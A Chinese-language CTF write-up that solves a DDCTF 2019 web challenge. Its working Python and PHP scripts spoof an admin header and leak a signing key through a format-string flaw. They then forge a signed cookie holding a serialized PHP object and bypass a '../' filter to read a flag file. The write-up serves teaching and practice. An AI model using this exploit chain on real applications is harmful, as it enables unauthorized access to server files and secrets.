这题主要考察的代码审计。这里我对服务器行为进行复现并打包好让大家进行下载:http://file.eonew.cn/ctf/web/ddctf2019_web2.zip
(注:比赛时config目录是不能访问的
)。如果有什么问题的话,欢迎联系鄙人。
先访问看看有什么提示。
ex@Ex:~$ curl -v http://117.51.158.44/index.php
* Trying 117.51.158.44...
* TCP_NODELAY set
* Connected to 117.51.158.44 (117.51.158.44) port 80 (#0)
> GET /index.php HTTP/1.1
> Host: 117.51.158.44
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Sun, 14 Apr 2019 11:21:22 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
<
<html>
<head>
<head lang="en">
<meta charset="UTF-8">
<title>DiDiCTF</title>
<link rel="stylesheet" href="highlight/styles/default.css">
<script src="highlight/highlight.pack.js"></script>
<style>
body{TEXT-ALIGN: center;}
center{ MARGIN-RIGHT: auto;
MARGIN-LEFT: auto;
height:200px;
background: #fdfffb;
width:600px;
vertical-align:middle;
line-height:500px;
}
</style>
<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/index.js"></script>
<script>hljs.initHighlightingOnLoad();</script>
<body onload="auth()">
<div class='center' id="auth">
</div>
</body>
</head>
</html>
* Connection #0 to host 117.51.158.44 left intact
除了一些开源库以外,就js/index.js
最可疑,访问查看一下:
/**
* Created by PhpStorm.
* User: didi
* Date: 2019/1/13
* Time: 9:05 PM
*/
function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}
得到新的提示http://117.51.158.44/app/Auth.php
。继续访问。
ex@Ex:~$ curl -v http://117.51.158.44/app/Auth.php
* Trying 117.51.158.44...
* TCP_NODELAY set
* Connected to 117.51.158.44 (117.51.158.44) port 80 (#0)
> GET /app/Auth.php HTTP/1.1
> Host: 117.51.158.44
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Sun, 14 Apr 2019 12:30:50 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
<
* Connection #0 to host 117.51.158.44 left intact
{"errMsg":"error","data":"\u62b1\u6b49\uff0c\u60a8\u6ca1\u6709\u767b\u9646\u6743\u9650\uff0c\u8bf7\u83b7\u53d6\u6743\u9650\u540e\u8bbf\u95ee-----"}ex@Ex:~$
解析字符串后得到抱歉,您没有登陆权限,请获取权限后访问-----
,猜测用户名为admin
,继续访问。
#! /usr/bin/python3
# -*- coding: utf-8 -*-
import requests
import json
url = 'http://117.51.158.44/app/Auth.php'
raw = requests.get(url,headers={'didictf_username':'admin'})
print(json.loads(raw.content.decode()))
运行结果
ex@Ex:~/test$ python3 key.py
{'errMsg': 'success', 'data': '您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php'}
然后得到提示
。访问该网页即可得到源码。您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php
目录
url:app/Session.php
include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
`
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
url:app/Application.php
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
通过尝试发现config
目录需要401
认证,否则无法查看,显然题目不会这么简单。
审计
public function index()
{
if (parent::auth()) {
$this->get_key();
if ($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data, $_SERVER['HTTP_USER_AGENT']);
parent::response($data, 'sucess');
} else {
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data, 'sucess');
}
}
}
程序先进行验证,然后度session,如果没有session的就设置一个。首先我们需要得到$this->eancrykey = file_get_contents('../config/key.txt');
的值,下面的代码可以泄露key。
if (!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"], $this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data, $v);
}
parent::response($data, "Welcome");
}
这要我们设置nickname
的时候在里面加上%s
,那么key的值在第二次sprintf的时候就会打印
出来。
#! /usr/bin/python3
# -*- coding: utf-8 -*-
import requests
import json
url = 'http://117.51.158.44/app/Session.php'
s = requests.Session()
s.get(url,headers={'didictf_username':'admin'})
raw = s.post(url,{'nickname':'#%s#'},headers={'didictf_username':'admin'})
print(raw.content.decode())
运行实例
ex@Ex:~/test$ python3 key.py
{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"errMsg":"Welcome","data":"Welcome my friend #EzblrbNS#"}{"errMsg":"sucess","data":"DiDI Welcome you python-requests\/2.18.4"}
所以得到key为EzblrbNS
。
知道key就很简单了,直接构造我们的序列化实例就行。
这里猜测../config/flag.txt就是flag文件,在ctf比赛中有时是需要盲猜的,而且举办方也会设置的尽量好猜一点,就像上面我们猜的
admin
一样。
<?php
include 'Application.php';
$hacker = new Application();
$hacker->path = '../config/flag.txt';
echo serialize($hacker).PHP_EOL;
运行实例
ex@Ex:/var/www/html$ php a.php
O:11:"Application":1:{s:4:"path";s:18:"../config/flag.txt";}
但是后面发现被sanitizepath
绊住了。
private function sanitizepath($path)
{
$path = trim($path);
$path = str_replace('../', '', $path);
$path = str_replace('..\\', '', $path);
return $path;
}
可以用嵌套来绕过:
<?php
$path = "..././config/flag.txt";
echo strlen($path) . PHP_EOL;
$path = trim($path);
$path = str_replace('../', '', $path);
$path = str_replace('..\\', '', $path);
echo strlen($path) . PHP_EOL;
所以得到新的序列化字符串O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}
,然后提交即可获得我们的flag。
最终脚本
#! /usr/bin/python3
# -*- coding: utf-8 -*-
import requests
import json
import hashlib
from urllib.parse import quote
url = 'http://117.51.158.44/app/Session.php'
data = 'O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}'
data =quote( data + hashlib.md5(b'EzblrbNS' + data.encode()).hexdigest())
raw = requests.get(url,headers={'didictf_username':'admin'},cookies={'ddctf_id':data})
print(raw.content.decode())
运行实例:
ex@Ex:~/test$ python3 key.py
{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"errMsg":"Congratulations","data":"DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}"}
总结
不管你有多么聪明,总有人比你更聪明。如果你想变得更强,那就必须得到能得到的一切帮助。在这里我要感谢sayhi
、echod
师傅的指点。